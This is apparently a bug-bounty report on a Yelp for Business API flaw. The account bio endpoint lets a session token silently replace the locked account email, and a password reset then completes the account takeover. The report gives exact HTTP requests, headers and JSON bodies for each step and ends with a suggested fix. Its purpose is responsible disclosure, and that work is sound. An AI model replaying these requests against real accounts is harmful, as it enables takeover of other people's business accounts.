Yelp · Report #3766455
Yelp for Business: locked Email field silently editable via API
How it was found
Description
The Account Information screen in the Yelp Biz Android app renders the Email field as read-only with a lock icon; the screen exposes no editor. The Save action calls POST https://biz-app.yelp.com/account/info/bio/v1. The endpoint accepts and applies an attacker-supplied email value with no current-password check, no current-email confirmation, and no out-of-band email confirmation before the change takes effect. The change is reflected immediately on the same REST surface and on the independent graphql-mobile-api.yelp.com GetAccountInfo query, and the Account Information screen in the app subsequently shows the attacker email — still behind the lock icon.
Direct password change at POST /account/password/v1 enforces an old_password field (400 without it). The bio endpoint provides no equivalent protection on the email field, even though email is the account recovery anchor.
Steps to Reproduce
Prerequisites: a Yelp for Business account; an x-auth-token from that account (any active app session header); an attacker-controlled mailbox.
-
Confirm baseline on a different backend so the rest is not an echo:
POST https://graphql-mobile-api.yelp.com/gql/mobile x-auth-token: <victim_token> x-biz-auth-token: <victim_token> operation-name: GetAccountInfo accept: multipart/mixed;deferSpec=20220824, application/graphql-response+json, application/json content-type: application/json; charset=utf-8 {"extensions":{"clientLibrary":{"name":"apollo-kotlin","version":"4.4.3"},"documentId":"fbfe5585929a3f12b0fcf332f967dfb78e3197d5a4f27f2f69f112c4d3341db6","operationType":"query"},"variables":{}}Response (the legitimate email on file):
{"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"T3J1i32FZSDAi5427SW0cw","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}} -
Mass-assign the email:
POST https://biz-app.yelp.com/account/info/bio/v1 x-auth-token: <victim_token> x-device-id: <any> x-consumer-device-id: <any> content-type: application/json; charset=UTF-8 {"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"}Response — HTTP 200, attacker email applied, no challenge, no notification at request time:
{"first_name":"<current>","last_name":"<current>","email":"[email protected]","role":"OWNER"} -
Re-run the GraphQL query from step 1 —
private.emailnow reflects[email protected]on a different Yelp backend service, proving the change is persisted at the data layer rather than echoed:{"data":{"loggedInBizUser":{"__typename":"BizUser","encid":"T3J1i32FZSDAi5427SW0cw","private":{"__typename":"PrivateBizUserInfo","email":"[email protected]","hasConfirmedEmail":false,"loginProviders":["GOOGLE"]}}}} -
Open the Yelp Biz app's Account Information screen — the Email field renders
[email protected]with the lock icon, identical to the legitimate UI state.
{F6000125}
Yelp for Business → Account Information, Email field showing the attacker-controlled address with the lock icon next to it. The UI continues to present the field as read-only even though the value has been silently rewritten via the API.
- (Chain to ATO) Trigger a password reset for the rewritten address:
Returns HTTP 200. Within a few minutes Yelp delivers aPOST https://biz-app.yelp.com/account/forgot_password/v1 content-type: application/x-www-form-urlencoded email=attacker%40example.comReset Password - Yelpemail to the attacker mailbox containinghttps://biz.yelp.com/forgot/reset/redirect/<token>. Visiting that link allows setting a new password without supplying the old one;POST /account/login/v1with the rewritten email plus the attacker-chosen password then yields full ownership.
{F6000118}
The real
Reset Password - Yelpemail (from[email protected]) arriving at the attacker-controlled inbox afterPOST /account/forgot_password/v1, with theReset Passwordbutton linking tohttps://biz.yelp.com/forgot/reset/redirect/<token>. Demonstrates that the rewritten address is the live recovery anchor — closing the chain from token theft to permanent ATO.
Suggested Fix
Reject email on POST /account/info/bio/v1. Expose email changes only through a dedicated flow that (a) re-authenticates the user (current password or recent step-up) and (b) keeps the change in a pending-confirmation state — the new address only becomes authoritative after the user clicks a verification link sent to that new address, and a notification is sent to the previous address at the same time. Aligning the protection on email changes with the protection already in place on /account/password/v1 would close the chain.
Impact
- Confirmed: an authenticated session can silently rewrite the account email, bypassing the read-only UI control. The Yelp Biz app then displays the rewritten value as if it were the legitimate (locked) email. The change persists immediately on
biz-app.yelp.comREST and ongraphql-mobile-api.yelp.comGraphQL. - Potential ATO (chain): the rewritten email is the account-recovery anchor.
POST /account/forgot_password/v1with the rewritten email returns 200 and Yelp dispatches a realReset Password - Yelpemail. Because/account/password/v1enforcesold_passwordbut the reset link does not, an attacker who briefly holds a victim's session token can use this bug to escalate ephemeral token access into permanent credentialed ownership: rebind → forgot-password → receive reset link at attacker address → set new password → log in.